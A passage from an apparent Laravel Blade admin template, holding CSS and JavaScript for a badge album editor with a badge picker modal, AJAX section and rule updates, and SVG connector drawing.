transition: all 0.3s;
}
.badge-preview-image.placeholder {
opacity: 0.4;
filter: grayscale(100%);
}
.badge-preview-image.loading {
animation: pulse 1s infinite;
}
.badge-preview-status {
margin-top: 0.5rem;
font-size: 0.8125rem;
color: #6c757d;
}
.badge-preview-status.success {
color: #198754;
}
.badge-preview-status.error {
color: #dc3545;
}
@keyframes pulse {
0%, 100% { opacity: 0.4; }
50% { opacity: 0.7; }
}
/* Visual Connectors */
.required-badges-section {
display: flex;
flex-direction: column;
align-items: center;
padding: 1rem 0;
}
/* Pathway Mode Toggle (Sequential/Any order) */
.pathway-mode-toggle {
position: relative;
margin-bottom: 1rem;
}
.pathway-mode-btn {
display: inline-flex;
align-items: center;
padding: 0.375rem 0.875rem;
background: #f8f9fa;
border: 1px solid #dee2e6;
border-radius: 20px;
font-size: 0.8125rem;
color: #495057;
cursor: pointer;
transition: all 0.2s;
}
.pathway-mode-btn:hover {
background: #e9ecef;
border-color: #ced4da;
}
.pathway-mode-btn.active {
background: #e7f1ff;
border-color: #b6d4fe;
color: #0d6efd;
}
.pathway-mode-btn .mode-chevron {
transition: transform 0.2s;
}
.pathway-mode-btn.open .mode-chevron {
transform: rotate(180deg);
}
.pathway-mode-dropdown {
display: none;
position: absolute;
top: 100%;
left: 50%;
transform: translateX(-50%);
margin-top: 0.5rem;
background: white;
border: 1px solid #dee2e6;
border-radius: 10px;
box-shadow: 0 4px 12px rgba(0,0,0,0.15);
z-index: 1000;
min-width: 220px;
overflow: hidden;
}
.pathway-mode-dropdown.show {
display: block;
}
.mode-option {
padding: 0.75rem 1rem;
cursor: pointer;
transition: background 0.15s;
}
.mode-option:hover {
background: #f8f9fa;
}
.mode-option.active {
background: #e7f1ff;
}
.mode-option strong {
display: block;
font-size: 0.875rem;
color: #212529;
}
.mode-option .mode-description {
display: block;
font-size: 0.75rem;
color: #6c757d;
margin-top: 0.125rem;
}
.mode-option + .mode-option {
border-top: 1px solid #f0f0f0;
}
.connector-down {
display: flex;
flex-direction: column;
align-items: center;
position: relative;
padding: 0.5rem 0;
}
.connector-line {
width: 2px;
height: 24px;
background: #dee2e6;
}
.connector-and {
width: 36px;
height: 36px;
border: 2px dashed #ced4da;
border-radius: 50%;
background: transparent;
display: flex;
align-items: center;
justify-content: center;
font-size: 1.25rem;
color: #6c757d;
cursor: pointer;
transition: all 0.2s;
}
.connector-and:hover {
border-color: #0d6efd;
color: #0d6efd;
background: rgba(13, 110, 253, 0.05);
}
.badge-or-connector {
display: flex;
align-items: center;
justify-content: center;
padding: 0 0.25rem;
font-size: 0.75rem;
font-weight: 500;
color: #6c757d;
text-transform: uppercase;
}
/* Badge row (horizontal badges, wraps when needed) */
.badge-row {
display: flex;
flex-wrap: wrap;
align-items: center;
justify-content: flex-start;
gap: 0.75rem;
padding: 0.5rem 1rem;
transition: background 0.2s, box-shadow 0.2s;
max-width: 100%;
}
/* Center badges when they fit */
@media (min-width: 768px) {
.badge-row {
justify-content: center;
}
}
/* Center add badge button (for new section) */
.add-badge-center {
width: 36px;
height: 36px;
border: 2px dashed #ced4da;
border-radius: 50%;
background: transparent;
display: flex;
align-items: center;
justify-content: center;
font-size: 1.25rem;
color: #6c757d;
cursor: pointer;
transition: all 0.2s;
}
.add-badge-center:hover {
border-color: #0d6efd;
color: #0d6efd;
background: rgba(13, 110, 253, 0.05);
}
.add-section-connector {
margin-top: 0.5rem;
}
.add-section-connector .connector-line {
height: 16px;
}
/* Section Rule Indicator */
.section-rule-indicator {
position: relative;
align-self: flex-start;
margin-left: 1rem;
margin-bottom: -0.5rem;
z-index: 5;
}
.rule-dropdown-toggle {
display: inline-flex;
align-items: center;
gap: 0.375rem;
padding: 0.25rem 0.75rem;
background: #e9ecef;
border: none;
border-radius: 20px;
font-size: 0.75rem;
color: #495057;
cursor: pointer;
transition: all 0.2s;
}
.rule-dropdown-toggle:hover {
background: #dee2e6;
color: #212529;
}
.rule-dropdown-toggle .rule-chevron {
transition: transform 0.2s;
}
.rule-dropdown-toggle.open .rule-chevron {
transform: rotate(180deg);
}
.rule-dropdown {
display: none;
position: absolute;
top: 100%;
left: 50%;
transform: translateX(-50%);
margin-top: 0.25rem;
background: white;
border: 1px solid #dee2e6;
border-radius: 8px;
box-shadow: 0 4px 12px rgba(0,0,0,0.15);
z-index: 1000;
min-width: 160px;
overflow: hidden;
}
.rule-dropdown.show {
display: block;
}
/* Highlight badge row when hovering rule indicator */
.section-rule-indicator:hover + .badge-row {
background: rgba(13, 110, 253, 0.08);
border-radius: 12px;
box-shadow: 0 0 0 3px rgba(13, 110, 253, 0.15);
}
.rule-option {
padding: 0.5rem 0.75rem;
font-size: 0.8125rem;
color: #495057;
cursor: pointer;
transition: background 0.15s;
}
.rule-option:hover {
background: #f8f9fa;
}
.rule-option.active {
background: #e7f1ff;
color: #0d6efd;
font-weight: 500;
}
.rule-option + .rule-option {
border-top: 1px solid #f0f0f0;
}
/* Curved Connector */
.curved-connector-container {
position: relative;
width: 100%;
height: 70px;
display: flex;
flex-direction: column;
align-items: center;
justify-content: flex-start;
padding-top: 4px;
}
.curved-connector-container.master-connector {
height: 50px;
padding-top: 0;
}
.curved-connector-svg {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
pointer-events: none;
overflow: visible;
}
.curved-connector-svg path {
fill: none;
stroke: #dee2e6;
stroke-width: 2;
stroke-linecap: round;
}
/* Sequential mode arrows - pointing up (from badges toward master) */
.curved-connector-svg .arrow-up {
fill: #adb5bd;
}
.connector-add-btn {
position: relative;
z-index: 10;
width: 32px;
height: 32px;
border: 2px dashed #ced4da;
border-radius: 50%;
background: #f8f9fa;
display: flex;
align-items: center;
justify-content: center;
font-size: 1.125rem;
color: #6c757d;
cursor: pointer;
transition: all 0.2s;
flex-shrink: 0;
}
.connector-add-btn:hover {
border-color: #0d6efd;
color: #0d6efd;
background: rgba(13, 110, 253, 0.05);
}
</style>
<?php $__env->startPush('scripts'); ?>
<script>
document.addEventListener('DOMContentLoaded', function() {
// Rule type toggle for N of M
document.querySelectorAll('.rule-type-select').forEach(function(select) {
select.addEventListener('change', function() {
const targetId = this.getAttribute('data-target');
const countGroup = document.getElementById(targetId);
if (countGroup) {
countGroup.style.display = this.value === 'n_of_m' ? 'block' : 'none';
}
});
});
// Badge resolution - Fetch button click
document.querySelectorAll('.resolve-badge-btn').forEach(function(btn) {
btn.addEventListener('click', function() {
const inputId = this.getAttribute('data-input-id');
const previewId = this.getAttribute('data-preview-id');
const titleId = this.getAttribute('data-title-id');
const input = document.getElementById(inputId);
const previewImg = document.getElementById('preview-img-' + previewId);
const previewStatus = document.getElementById('preview-status-' + previewId);
const titleInput = document.getElementById(titleId);
const achievementId = input ? input.value.trim() : '';
if (!achievementId) {
if (previewStatus) {
previewStatus.textContent = 'Please enter an achievement ID';
previewStatus.className = 'badge-preview-status error';
}
return;
}
// Show loading state
if (previewImg) {
previewImg.classList.add('loading');
}
if (previewStatus) {
previewStatus.textContent = 'Resolving...';
previewStatus.className = 'badge-preview-status';
}
btn.disabled = true;
// Make AJAX request
fetch('<?php echo e(route("admin.badge-albums.resolve-badge")); ?>', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': '<?php echo e(csrf_token()); ?>',
'Accept': 'application/json'
},
body: JSON.stringify({ achievement_id: achievementId })
})
.then(response => response.json())
.then(data => {
btn.disabled = false;
if (previewImg) {
previewImg.classList.remove('loading');
}
if (data.success && data.image_url) {
// Update preview image
if (previewImg) {
previewImg.src = data.image_url;
previewImg.classList.remove('placeholder');
}
if (previewStatus) {
previewStatus.textContent = 'Badge found!';
previewStatus.className = 'badge-preview-status success';
}
// Auto-fill title if available and title field is empty
if (data.title && titleInput && !titleInput.value.trim()) {
titleInput.value = data.title;
}
} else {
// Show placeholder
if (previewImg && data.placeholder) {
previewImg.src = data.placeholder;
previewImg.classList.add('placeholder');
}
if (previewStatus) {
previewStatus.textContent = 'Could not resolve badge image';
previewStatus.className = 'badge-preview-status error';
}
}
})
.catch(error => {
console.error('Error resolving badge:', error);
btn.disabled = false;
if (previewImg) {
previewImg.classList.remove('loading');
}
if (previewStatus) {
previewStatus.textContent = 'Error resolving badge';
previewStatus.className = 'badge-preview-status error';
}
});
});
});
// =============================================
// Badge Picker Modal
// =============================================
const badgePickerModal = document.getElementById('badgePickerModal');
const searchInput = document.getElementById('badge-search-input');
const loadingEl = document.getElementById('badge-picker-loading');
const notConfiguredEl = document.getElementById('badge-picker-not-configured');
const errorEl = document.getElementById('badge-picker-error');
const errorMsgEl = document.getElementById('badge-picker-error-message');
const resultsEl = document.getElementById('badge-picker-results');
const emptyEl = document.getElementById('badge-picker-empty');
const paginationEl = document.getElementById('badge-picker-pagination');
const prevBtn = document.getElementById('badge-picker-prev');
const nextBtn = document.getElementById('badge-picker-next');
const pageInfoEl = document.getElementById('badge-picker-page-info');
let currentPickerTarget = null;
let currentOffset = 0;
let currentQuery = '';
let totalResults = 0;
const limit = 12;
let searchTimeout = null;
let badgauConfigured = null;
let activeSource = 'badgau'; // 'badgau' | 'openskillpaths'
let parentModal = null; // Track the parent modal that opened the picker
// Check badgau status on page load
fetch('<?php echo e(route("admin.badge-albums.badgau-status")); ?>?album_id=<?php echo e($album->id); ?>')
.then(r => r.json())
.then(data => {
badgauConfigured = data.configured;
})
.catch(() => {
badgauConfigured = false;
});
// Tab switching
document.querySelectorAll('#badgePickerTabs .nav-link').forEach(tab => {
tab.addEventListener('click', function() {
document.querySelectorAll('#badgePickerTabs .nav-link').forEach(t => t.classList.remove('active'));
this.classList.add('active');
activeSource = this.dataset.source;
currentOffset = 0;
if (activeSource === 'badgau' && badgauConfigured === false) {
showNotConfigured();
} else {
searchBadges(currentQuery);
}
});
});
// Open badge picker (master badge modal — Badgau only)
document.querySelectorAll('.open-badge-picker').forEach(btn => {
btn.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
console.log('Opening badge picker for master badge...');
isMasterBadgeMode = true;
currentPickerTarget = {
achievementInput: document.getElementById(this.dataset.achievementInput),
titleInput: document.getElementById(this.dataset.titleInput),
previewImg: document.getElementById(this.dataset.previewImg),
previewStatus: document.getElementById(this.dataset.previewStatus),
imageInput: document.getElementById(this.dataset.imageInput)
};
// Find and hide parent modal if any
const parentModalEl = this.closest('.modal');
if (parentModalEl) {
parentModal = bootstrap.Modal.getInstance(parentModalEl);
if (parentModal) {
parentModal.hide();
}
}
// Reset state
currentOffset = 0;
currentQuery = '';
searchInput.value = '';
// Show picker modal after a small delay to let parent modal close
setTimeout(() => {
const modal = new bootstrap.Modal(badgePickerModal);
modal.show();
openPickerSearch();
}, 150);
});
});
// Search on input
searchInput.addEventListener('input', function() {
clearTimeout(searchTimeout);
searchTimeout = setTimeout(() => {
currentOffset = 0;
currentQuery = this.value;
searchBadges(currentQuery);
}, 300);
});
// Pagination
prevBtn.addEventListener('click', () => {
if (currentOffset > 0) {
currentOffset -= limit;
searchBadges(currentQuery);
}
});
nextBtn.addEventListener('click', () => {
if (currentOffset + limit < totalResults) {
currentOffset += limit;
searchBadges(currentQuery);
}
});
// When badge picker modal is closed (cancelled), reopen parent modal
badgePickerModal.addEventListener('hidden.bs.modal', function() {
if (parentModal) {
setTimeout(() => {
parentModal.show();
parentModal = null;
}, 150);
}
});
function showNotConfigured() {
loadingEl.style.display = 'none';
resultsEl.style.display = 'none';
emptyEl.style.display = 'none';
errorEl.style.display = 'none';
paginationEl.style.display = 'none';
notConfiguredEl.style.display = 'block';
}
function showLoading() {
loadingEl.style.display = 'block';
resultsEl.style.display = 'none';
emptyEl.style.display = 'none';
errorEl.style.display = 'none';
notConfiguredEl.style.display = 'none';
paginationEl.style.display = 'none';
}
function showError(message) {
loadingEl.style.display = 'none';
resultsEl.style.display = 'none';
emptyEl.style.display = 'none';
notConfiguredEl.style.display = 'none';
paginationEl.style.display = 'none';
errorMsgEl.textContent = message;
errorEl.style.display = 'block';
}
function showResults(badges, meta) {
loadingEl.style.display = 'none';
errorEl.style.display = 'none';
notConfiguredEl.style.display = 'none';
if (badges.length === 0) {
resultsEl.style.display = 'none';
paginationEl.style.display = 'none';
emptyEl.style.display = 'block';
return;
}
emptyEl.style.display = 'none';
resultsEl.style.display = 'grid';
// Render badges
resultsEl.innerHTML = badges.map(badge => `
<div class="badge-picker-item"
data-achievement-id="${escapeHtml(badge.achievement_id)}"
data-name="${escapeHtml(badge.name)}"
data-image="${escapeHtml(badge.image_url || '')}"
data-description="${escapeHtml(badge.description || '')}"
data-issuer-name="${escapeHtml(badge.issuer?.name || '')}"
data-issuer-url="${escapeHtml(badge.issuer?.url || '')}">
<img src="${badge.image_url || '<?php echo e(\App\Services\BadgeImageResolver::placeholder()); ?>'}"
alt="${escapeHtml(badge.name)}"
onerror="this.src='<?php echo e(\App\Services\BadgeImageResolver::placeholder()); ?>'">
<div class="badge-name">${escapeHtml(badge.name)}</div>
<div class="badge-issuer">${escapeHtml(badge.issuer?.name || '')}</div>
<button type="button" class="badge-info-btn" title="View details"
onclick="event.stopPropagation(); showBadgeDetail(this.closest('.badge-picker-item'));">
<svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16">
<path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/>
<path d="m8.93 6.588-2.29.287-.082.38.45.083c.294.07.352.176.288.469l-.738 3.468c-.194.897.105 1.319.808 1.319.545 0 1.178-.252 1.465-.598l.088-.416c-.2.176-.492.246-.686.246-.275 0-.375-.193-.304-.533L8.93 6.588zM9 4.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0z"/>
</svg>
</button>
</div>
`).join('');
// Add click handlers
resultsEl.querySelectorAll('.badge-picker-item').forEach(item => {
item.addEventListener('click', () => selectBadge(item));
});
// Update pagination
totalResults = meta.total || badges.length;
if (totalResults > limit) {
paginationEl.style.display = 'flex';
prevBtn.disabled = currentOffset === 0;
nextBtn.disabled = currentOffset + limit >= totalResults;
const start = currentOffset + 1;
const end = Math.min(currentOffset + limit, totalResults);
pageInfoEl.textContent = `${start}-${end} of ${totalResults}`;
} else {
paginationEl.style.display = 'none';
}
}
let isMasterBadgeMode = false;
function openPickerSearch() {
const tabsEl = document.getElementById('badgePickerTabs');
const titleEl = document.getElementById('badgePickerTitle');
if (isMasterBadgeMode) {
// Master badge: only Badgau (issuer must own the credential)
activeSource = 'badgau';
tabsEl.style.display = 'none';
if (titleEl) titleEl.textContent = 'Select Master Badge from Your Badgau';
} else {
// Requirement badges: both sources available
tabsEl.style.display = '';
activeSource = badgauConfigured === false ? 'openskillpaths' : 'badgau';
if (titleEl) titleEl.textContent = 'Select Badge';
}
document.querySelectorAll('#badgePickerTabs .nav-link').forEach(t => {
t.classList.toggle('active', t.dataset.source === activeSource);
});
searchBadges('');
}
function searchBadges(query) {
if (activeSource === 'openskillpaths') {
searchOpenSkillPaths(query);
} else {
searchBadgau(query);
}
}
function searchBadgau(query) {
showLoading();
const params = new URLSearchParams({
q: query,
limit: limit,
offset: currentOffset,
album_id: '<?php echo e($album->id); ?>'
});
fetch('<?php echo e(route("admin.badge-albums.search-badges")); ?>?' + params)
.then(r => r.json())
.then(data => {
if (!data.success) {
if (data.error === 'Badgau integration not configured') {
badgauConfigured = false;
showNotConfigured();
} else {
showError(data.error || 'Failed to search badges');
}
return;
}
// Normalize Badgau response to match expected shape
const badges = (data.data || []).map(b => ({
achievement_id: b.achievement_id,
name: b.title || b.name,
description: b.description || '',
image_url: b.image_url || null,
issuer: b.issuer || {},
}));
showResults(badges, data.meta || {});
})
.catch(() => showError('Failed to connect to badge server'));
}
function searchOpenSkillPaths(query) {
showLoading();
const params = new URLSearchParams({ limit: limit, offset: currentOffset });
if (query) params.set('q', query);
fetch('/api/pathways/badge-classes?' + params)
.then(r => r.json())
.then(data => {
if (!data.success) {
showError(data.error || 'Failed to search OpenSkillPaths');
return;
}
const badges = (data.data || []).map(b => ({
achievement_id: b.identifier,
name: b.name,
description: b.description || '',
image_url: b.image || null,
issuer: {
name: b.recognizedBy?.name || b.issuer?.name || '',
url: b.recognizedBy?.url || b.issuer?.url || '',
},
}));
showResults(badges, data.meta || {});
})
.catch(() => showError('Failed to connect to OpenSkillPaths'));
}
function selectBadge(item) {
const achievementId = item.dataset.achievementId;
const name = item.dataset.name;
const imageUrl = item.dataset.image;
if (currentPickerTarget && currentPickerTarget.directMode) {
// Close modal first
bootstrap.Modal.getInstance(badgePickerModal).hide();
if (currentPickerTarget.createSection) {
// Create new section with this badge via AJAX
addSectionWithBadge(achievementId, name, imageUrl, currentPickerTarget.afterSectionId);
return;
}
// Add to existing section via AJAX
addBadgeToSection(
currentPickerTarget.sectionId,
achievementId,
name,
imageUrl,
currentPickerTarget.isOptional
);
return;
}
if (currentPickerTarget) {
// Normal mode: Fill input fields in parent modal
if (currentPickerTarget.achievementInput) {
currentPickerTarget.achievementInput.value = achievementId;
}
if (currentPickerTarget.titleInput && name) {
currentPickerTarget.titleInput.value = name;
}
if (currentPickerTarget.previewImg) {
currentPickerTarget.previewImg.src = imageUrl || '<?php echo e(\App\Services\BadgeImageResolver::placeholder()); ?>';
currentPickerTarget.previewImg.classList.toggle('placeholder', !imageUrl);
}
if (currentPickerTarget.previewStatus) {
currentPickerTarget.previewStatus.textContent = 'Badge selected';
currentPickerTarget.previewStatus.className = 'badge-preview-status success';
}
if (currentPickerTarget.imageInput) {
currentPickerTarget.imageInput.value = imageUrl || '';
}
}
// Close picker modal (the hidden.bs.modal event will handle reopening parent)
bootstrap.Modal.getInstance(badgePickerModal).hide();
}
// Save scroll position before reload
function saveScrollAndReload() {
sessionStorage.setItem('badgeAlbumScrollY', window.scrollY);
window.location.reload();
}
// Restore scroll position on page load
const savedScrollY = sessionStorage.getItem('badgeAlbumScrollY');
if (savedScrollY) {
sessionStorage.removeItem('badgeAlbumScrollY');
window.scrollTo(0, parseInt(savedScrollY));
}
// AJAX: Add badge to existing section
function addBadgeToSection(sectionId, achievementId, title, imageUrl, isOptional) {
const formData = new FormData();
formData.append('achievement_id', achievementId);
formData.append('title', title);
formData.append('image_url', imageUrl || '');
formData.append('is_optional', isOptional ? '1' : '0');
formData.append('_token', '<?php echo e(csrf_token()); ?>');
fetch('/admin/badge-albums/<?php echo e($album->id); ?>/sections/' + sectionId + '/slots', {
method: 'POST',
body: formData,
headers: {
'Accept': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
}
})
.then(response => {
if (response.redirected) {
saveScrollAndReload();
return;
}
return response.json();
})
.then(data => {
if (data && data.success) {
saveScrollAndReload();
} else if (data && data.error) {
alert(data.error);
} else {
saveScrollAndReload();
}
})
.catch(error => {
console.error('Error adding badge:', error);
saveScrollAndReload();
});
}
// AJAX: Create new section with first badge
function addSectionWithBadge(achievementId, title, imageUrl, afterSectionId = null) {
const formData = new FormData();
formData.append('title', 'Required Badges');
formData.append('rule_type', 'all');
formData.append('first_badge_achievement_id', achievementId);
formData.append('first_badge_title', title);
formData.append('first_badge_image_url', imageUrl || '');
if (afterSectionId) {
formData.append('after_section_id', afterSectionId);
}
formData.append('_token', '<?php echo e(csrf_token()); ?>');
fetch('<?php echo e(route("admin.badge-albums.sections.store", $album)); ?>', {
method: 'POST',
body: formData,
headers: {
'Accept': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
}
})
.then(response => {
if (response.redirected) {
saveScrollAndReload();
return;
}
return response.json();
})
.then(data => {
if (data && data.success) {
saveScrollAndReload();
} else if (data && data.error) {
alert(data.error);
} else {
saveScrollAndReload();
}
})
.catch(error => {
console.error('Error adding section:', error);
saveScrollAndReload();
});
}
// =============================================
// Badge Detail Panel (inline within picker modal)
// =============================================
let currentDetailItem = null;
const detailPanel = document.getElementById('badge-detail-panel');
const detailSelectBtn = document.getElementById('badgeDetailSelectBtn');
window.showBadgeDetail = function(item) {
currentDetailItem = item;
const name = item.dataset.name || 'Untitled';
const image = item.dataset.image || '<?php echo e(\App\Services\BadgeImageResolver::placeholder()); ?>';
const description = item.dataset.description || '';
const issuerName = item.dataset.issuerName || '';
const issuerUrl = item.dataset.issuerUrl || '';
const achievementId = item.dataset.achievementId || '';
document.getElementById('badgeDetailName').textContent = name;
document.getElementById('badgeDetailImage').src = image;
const descEl = document.getElementById('badgeDetailDescription');
if (description) {
descEl.textContent = description;
descEl.style.display = '';
} else {
descEl.style.display = 'none';
}
const issuerRow = document.getElementById('badgeDetailIssuerRow');
const issuerEl = document.getElementById('badgeDetailIssuer');
if (issuerName) {
if (issuerUrl) {
issuerEl.innerHTML = `<a href="${escapeHtml(issuerUrl)}" target="_blank" rel="noopener">${escapeHtml(issuerName)}</a>`;
} else {
issuerEl.textContent = issuerName;
}
issuerRow.style.display = '';
} else {
issuerRow.style.display = 'none';
}
const achievementRow = document.getElementById('badgeDetailAchievementRow');
const achievementEl = document.getElementById('badgeDetailAchievementId');
if (achievementId) {
achievementEl.textContent = achievementId;
achievementRow.style.display = '';
} else {
achievementRow.style.display = 'none';
}
// Hide search/grid, show detail panel
document.getElementById('badge-picker-results').style.display = 'none';
document.getElementById('badge-picker-pagination').style.display = 'none';
document.getElementById('badge-picker-empty').style.display = 'none';
document.getElementById('badge-search-input').closest('.mb-3').style.display = 'none';
document.getElementById('badgePickerTabs').style.display = 'none';
detailPanel.style.display = '';
detailSelectBtn.style.display = '';
}
function hideDetailPanel() {
detailPanel.style.display = 'none';
detailSelectBtn.style.display = 'none';
// Restore search UI
document.getElementById('badge-search-input').closest('.mb-3').style.display = '';
document.getElementById('badgePickerTabs').style.display = '';
document.getElementById('badge-picker-results').style.display = 'grid';
}
document.getElementById('badgeDetailBackBtn').addEventListener('click', hideDetailPanel);
detailSelectBtn.addEventListener('click', function() {
if (currentDetailItem) {
selectBadge(currentDetailItem);
}
});
function escapeHtml(text) {
if (!text) return '';
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
// =============================================
// Direct Badge Picker (for + buttons)
// =============================================
// Handle inline + buttons (add to existing section as optional)
document.querySelectorAll('.open-badge-picker-direct').forEach(btn => {
btn.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
console.log('Opening badge picker for existing section...');
isMasterBadgeMode = false;
const sectionId = this.dataset.sectionId;
const defaultOptional = this.dataset.defaultOptional === '1';
currentPickerTarget = {
directMode: true,
sectionId: sectionId,
isOptional: defaultOptional,
createSection: false
};
parentModal = null;
currentOffset = 0;
currentQuery = '';
searchInput.value = '';
const modal = new bootstrap.Modal(badgePickerModal);
modal.show();
openPickerSearch();
});
});
// Handle "add new section" + button (below)
document.querySelectorAll('.open-badge-picker-new-section').forEach(btn => {
btn.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
console.log('Opening badge picker for new section...');
isMasterBadgeMode = false;
currentPickerTarget = {
directMode: true,
sectionId: null,
isOptional: false,
createSection: true,
afterSectionId: null
};
parentModal = null;
currentOffset = 0;
currentQuery = '';
searchInput.value = '';
const modal = new bootstrap.Modal(badgePickerModal);
modal.show();
openPickerSearch();
});
});
// Handle "insert between sections" + button
document.querySelectorAll('.open-badge-picker-insert').forEach(btn => {
btn.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
console.log('Opening badge picker to insert between sections...');
isMasterBadgeMode = false;
const afterSectionId = this.dataset.afterSectionId;
currentPickerTarget = {
directMode: true,
sectionId: null,
isOptional: false,
createSection: true,
afterSectionId: afterSectionId
};
parentModal = null;
currentOffset = 0;
currentQuery = '';
searchInput.value = '';
const modal = new bootstrap.Modal(badgePickerModal);
modal.show();
openPickerSearch();
});
});
// =============================================
// Pathway Mode Toggle (Sequential/Any order)
// =============================================
const sequentialToggle = document.getElementById('sequentialToggle');
const pathwayModeDropdown = document.getElementById('pathwayModeDropdown');
if (sequentialToggle && pathwayModeDropdown) {
sequentialToggle.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
this.classList.toggle('open');
pathwayModeDropdown.classList.toggle('show');
});
// Close dropdown when clicking outside
document.addEventListener('click', function(e) {
if (!e.target.closest('.pathway-mode-toggle')) {
sequentialToggle.classList.remove('open');
pathwayModeDropdown.classList.remove('show');
}
});
// Handle mode option selection
pathwayModeDropdown.querySelectorAll('.mode-option').forEach(option => {
option.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
const isSequential = this.dataset.sequential === '1';
// Update active state
pathwayModeDropdown.querySelectorAll('.mode-option').forEach(o => o.classList.remove('active'));
this.classList.add('active');
// Update button text and state
sequentialToggle.querySelector('.mode-text').textContent = isSequential ? 'Complete in order' : 'Any order';
sequentialToggle.classList.toggle('active', isSequential);
sequentialToggle.dataset.sequential = isSequential ? '1' : '0';
// Close dropdown
sequentialToggle.classList.remove('open');
pathwayModeDropdown.classList.remove('show');
// Redraw connectors with/without arrows
drawCurvedConnectors();
// Save via AJAX
updateSequentialMode(isSequential);
});
});
}
function updateSequentialMode(isSequential) {
const formData = new FormData();
formData.append('is_sequential', isSequential ? '1' : '0');
formData.append('title', '<?php echo e($album->title); ?>');
formData.append('_token', '<?php echo e(csrf_token()); ?>');
formData.append('_method', 'PUT');
fetch('<?php echo e(route('admin.badge-albums.update', $album)); ?>', {
method: 'POST',
body: formData,
headers: {
'Accept': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
}
})
.then(response => {
if (!response.ok) {
console.error('Failed to update sequential mode');
}
})
.catch(error => {
console.error('Error updating sequential mode:', error);
});
}
// =============================================
// Section Rule Dropdown
// =============================================
// Toggle dropdown on button click
document.querySelectorAll('.rule-dropdown-toggle').forEach(btn => {
btn.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
const sectionId = this.dataset.sectionId;
const dropdown = document.getElementById('rule-dropdown-' + sectionId);
const indicator = this.closest('.section-rule-indicator');
// Close all other dropdowns and remove their highlight
document.querySelectorAll('.section-rule-indicator.dropdown-open').forEach(ind => {
if (ind !== indicator) {
ind.classList.remove('dropdown-open');
ind.querySelector('.rule-dropdown')?.classList.remove('show');
ind.querySelector('.rule-dropdown-toggle')?.classList.remove('open');
}
});
// Toggle this dropdown
const isOpening = !dropdown.classList.contains('show');
dropdown.classList.toggle('show');
this.classList.toggle('open');
indicator.classList.toggle('dropdown-open');
});
});
// Close dropdown when clicking outside
document.addEventListener('click', function(e) {
if (!e.target.closest('.section-rule-indicator')) {
document.querySelectorAll('.section-rule-indicator.dropdown-open').forEach(ind => {
ind.classList.remove('dropdown-open');
ind.querySelector('.rule-dropdown')?.classList.remove('show');
ind.querySelector('.rule-dropdown-toggle')?.classList.remove('open');
});
}
});
// Handle rule option selection
document.querySelectorAll('.rule-option').forEach(option => {
option.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
const dropdown = this.closest('.rule-dropdown');
const indicator = this.closest('.section-rule-indicator');
const toggle = indicator.querySelector('.rule-dropdown-toggle');
const sectionId = indicator.dataset.sectionId;
const ruleType = this.dataset.ruleType;
const ruleCount = this.dataset.ruleCount || null;
// Mark this option as active
dropdown.querySelectorAll('.rule-option').forEach(o => o.classList.remove('active'));
this.classList.add('active');
// Update button text
toggle.querySelector('.rule-text').textContent = this.textContent.trim();
// Close dropdown
dropdown.classList.remove('show');
toggle.classList.remove('open');
indicator.classList.remove('dropdown-open');
// Save via AJAX
updateSectionRule(sectionId, ruleType, ruleCount);
});
});
function updateSectionRule(sectionId, ruleType, ruleCount) {
const formData = new FormData();
formData.append('rule_type', ruleType);
if (ruleCount) {
formData.append('rule_count', ruleCount);
}
formData.append('_token', '<?php echo e(csrf_token()); ?>');
formData.append('_method', 'PATCH');
fetch('/admin/badge-albums/<?php echo e($album->id); ?>/sections/' + sectionId + '/rule', {
method: 'POST',
body: formData,
headers: {
'Accept': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
}
})
.then(response => response.json())
.then(data => {
if (!data.success) {
console.error('Failed to update section rule');
}
})
.catch(error => {
console.error('Error updating section rule:', error);
});
}
// =============================================
// Curved Connectors Between Sections
// =============================================
function drawCurvedConnectors() {
// Check if sequential mode is active
const sequentialToggle = document.getElementById('sequentialToggle');
const isSequential = sequentialToggle && sequentialToggle.dataset.sequential === '1';
document.querySelectorAll('.curved-connector-container').forEach(container => {
const svg = container.querySelector('.curved-connector-svg');
const toSectionId = container.dataset.toSection;
const isMasterConnector = container.classList.contains('master-connector');
const addBtn = container.querySelector('.connector-add-btn');
// Find the target badge row
const toRow = document.querySelector(`.badge-row[data-section-id="${toSectionId}"]`);
if (!toRow) return;
// Get badge cards in target row
const toCards = toRow.querySelectorAll('.badge-card');
if (toCards.length === 0) return;
// Get container position for relative calculations
const containerRect = container.getBoundingClientRect();
// Clear existing paths
svg.innerHTML = '';
// Determine start point
let startX, startY;
if (isMasterConnector) {
// Start from center top (below master badge)
startX = containerRect.width / 2;
startY = 0;
} else if (addBtn) {
// Start from the bottom center of the + button
const btnRect = addBtn.getBoundingClientRect();
startX = btnRect.left + btnRect.width / 2 - containerRect.left;
startY = btnRect.bottom - containerRect.top;
} else {
startX = containerRect.width / 2;
startY = 0;
}
// Calculate end points for each badge card
const toPoints = Array.from(toCards).map(card => {
const rect = card.getBoundingClientRect();
return {
x: rect.left + rect.width / 2 - containerRect.left,
y: containerRect.height
};
});
const height = containerRect.height;
// Draw curves from start point to each target badge
toPoints.forEach((toPoint) => {
const path = document.createElementNS('http://www.w3.org/2000/svg', 'path');
const endX = toPoint.x;
// Shorten path slightly to leave room for arrow if sequential
const endY = isSequential ? height - 10 : height;
// Control points for smooth S-curve
// Adjust based on whether we're starting from button or top
const verticalSpace = endY - startY;
const cp1Y = startY + verticalSpace * 0.5;
const cp2Y = startY + verticalSpace * 0.7;
